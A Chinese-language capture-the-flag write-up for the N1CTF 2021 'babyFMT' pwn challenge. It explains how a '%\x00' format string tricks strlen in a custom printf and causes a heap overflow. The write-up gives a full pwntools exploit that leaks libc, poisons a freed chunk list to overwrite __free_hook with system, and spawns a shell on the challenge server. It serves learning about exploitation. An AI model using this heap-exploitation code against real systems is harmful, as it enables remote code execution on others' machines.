[N1CTF 2021] Pwn - BabyFMT
babyFMT
以为是个普通的格式化串题,结果是出题人自己实现了一个格式化输入(babyscanf
)和输出(babyprintf
)
漏洞点:
- 一个是在
show()
里面可以自定义输出用的格式化串,但是光有这个是无法利用的,需要结合另一个漏洞点 - 另一个是在
babyprintf()
中,这里最开始缓冲区大小的确定方式是:首先获取格式化串原长(用的strlen),先进行一次遍历,每遍历到一个%就把需要的长度+0x10,最后交给malloc来获得存放输出流用的buffer;反复审计了几次发现使用b"%\x00"
形式的格式化串可以欺骗strlen同时不会导致格式化串解析的终止。于是当我们使用%r
——类似scanf
中的%s
时就会造成以外的堆溢出覆盖
利用:
- 溢出理论可行,但是格式化串的buffer在解析完后会释放,所以要准确控制堆溢出位置还是有点麻烦的
- 我采用的堆风水思路是控制buffer循环使用低地址的一个
0x30
堆块,在其后构造几个0x50
的堆块,通过溢出修改size进行overlap;overlap之后就顺理成章能使用UAF来修改0x50
fasbin中的fd指针指向__free_hook
- 这里之所以选择一个较大的堆块(
0x50
)去做控制是因为在__free_hook
被修改为system
之后并不能立马发生system("/bin/sh")
,需要手动去执行一次show()
逻辑,在最后释放格式化串buffer的时候再触发system("/bin/sh")
;这个过程中会发生几次固定的babyprintf()
调用,这里如果碰到了被破坏的堆结构会触发异常,所以需要绕掉
EXP:
from pwn import *
#p = process("./babyFMT", env={"LD_PRELOAD":"./libc-2.31.so"})
p = remote("43.155.72.106", 9999)
elf = ELF("./libc-2.31.so")
context.log_level = "debug"
def add(size:int, author, content):
p.sendlineafter(b">", b"1")
p.sendlineafter(b"Size:", b"Content size is "+str(size).encode())
p.sendlineafter(b"Author:", b"Book author is "+author)
p.sendlineafter(b"Content:", b"Book content is "+content)
def delete(idx:int):
p.sendlineafter(b">", b"2")
#p.sendafter(b"Idx:", b"Book idx is "+str(idx).encode()+b" ")
p.sendlineafter(b"Idx:", b"Book idx is "+str(idx).encode())
def show(idx:int, fmt):
p.sendlineafter(b">", b"3")
p.sendlineafter(b"Idx:", b"Book idx is "+str(idx).encode())
p.sendlineafter(b"You can show book by yourself\n", b"My format "+fmt)
# base: 0x0000555555554000+0x4060
def exp():
# leak
## leak libc
add(0x20, b"xxxx", b"xxxx") # 0 bad chunk
add(0x410, b"aaaa", b"bbbb") # 1
add(0x20, b"tttt", b"tttt") # 2 split
delete(1)
add(0x20, b"b", b"b") #1
show(1, b"%r|%m|%r")
libc_leak = p.recv(6).ljust(8, b"\x00")
libc_leak = u64(b"\xe0"+libc_leak[1:])
libc_base = libc_leak - 0x470 - elf.symbols[b"__malloc_hook"]
free_hook = libc_base + elf.symbols[b"__free_hook"]
system = libc_base + elf.symbols[b"system"]
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
## attack tcache
## b"AAAAAAAAAA%m%m%r"
add(0x360, b"x"*0x10, b"xxxx") # 3 clean unsorted bin
add(0x10, b"xxxx", b"xxxx") # 4 clean 0x30 bin
add(0x20, b"xxxx", b"xxxx") # 5 clean 0x40 bin
add(0x10, b"6666", b"cccc") # 6
add(0x30, b"7777", b"cccc") # 7
add(0x30, b"8888", b"cccc") # 8
add(0x30, b"9999", b"cccc") # 9
add(0x30, b"9999", b"cccc") # 10
add(0x100, b"x"*0x10, b"\x61") #11
delete(6)
show(11, b"A"*8+b"%\x00"+b"A"*0x18+b"A"*0x8+b"\xa1") # resize
delete(10)
delete(9)
delete(8)
delete(7) # resized
add(0x80, b"rrrr", b"A"*0x38+p64(free_hook-0x20)[:6]) # 6
## fetch
add(0x30, b"tttt", b"tttt") # 7
add(0x30, b"A"*0x10, b"A"*0x8+p64(system)[:6]) # 10
print("free_hook:", hex(free_hook))
print("system:", hex(system))
# get shell
p.sendline(b"3")
p.sendline(b"Book idx is 7")
p.sendline(b"My format /bin/sh; ")
p.interactive()
if __name__ == "__main__":
exp()